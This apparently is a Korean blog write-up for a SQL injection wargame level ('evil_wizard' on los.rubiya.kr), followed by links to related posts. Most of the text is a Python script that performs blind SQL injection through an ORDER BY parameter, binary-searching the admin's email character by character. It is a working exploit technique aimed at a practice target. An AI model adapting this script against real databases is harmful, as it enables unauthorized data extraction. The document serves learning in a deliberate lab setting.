WRITE UP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | import requests url = "http://los.rubiya.kr/evil_wizard_32e3d35835aa4e039348712fb75169ad.php" session = {'PHPSESSID':'MY_SESSION'} data = {} flag="" print("[∞] flag : ",end='') for i in range(1,31): a=0 b=126 while b-a!=0: center = a+(b-a)//2 data['order']="id='admin' and ord(mid(email,"+str(i)+",1))>"+str(center)+" desc" res = requests.get(url, params=data, cookies=session) if(res.text.index('admin')>res.text.index('rubiya')): b=center else: a=center+1 print(chr(a),end='') flag = flag + chr(a) data['email']=flag res = requests.get(url, params=data, cookies = session) if "Clear!" in res.text: print("\n[♪] EVIL_WIZARD Clear!") | cs |
'Wargame > LOS(rubiya)' 카테고리의 다른 글
LOS :: 26번 RED_DRAGON (0) | 2018.08.27 |
---|---|
LOS :: 25번 GREEN_DRAGON (0) | 2018.08.27 |
LOS :: 23번 HELL_FIRE (0) | 2018.08.23 |
LOS :: 22번 DARK_EYES (0) | 2018.08.23 |
LOS :: 21번 IRON_GOLEM (0) | 2018.08.23 |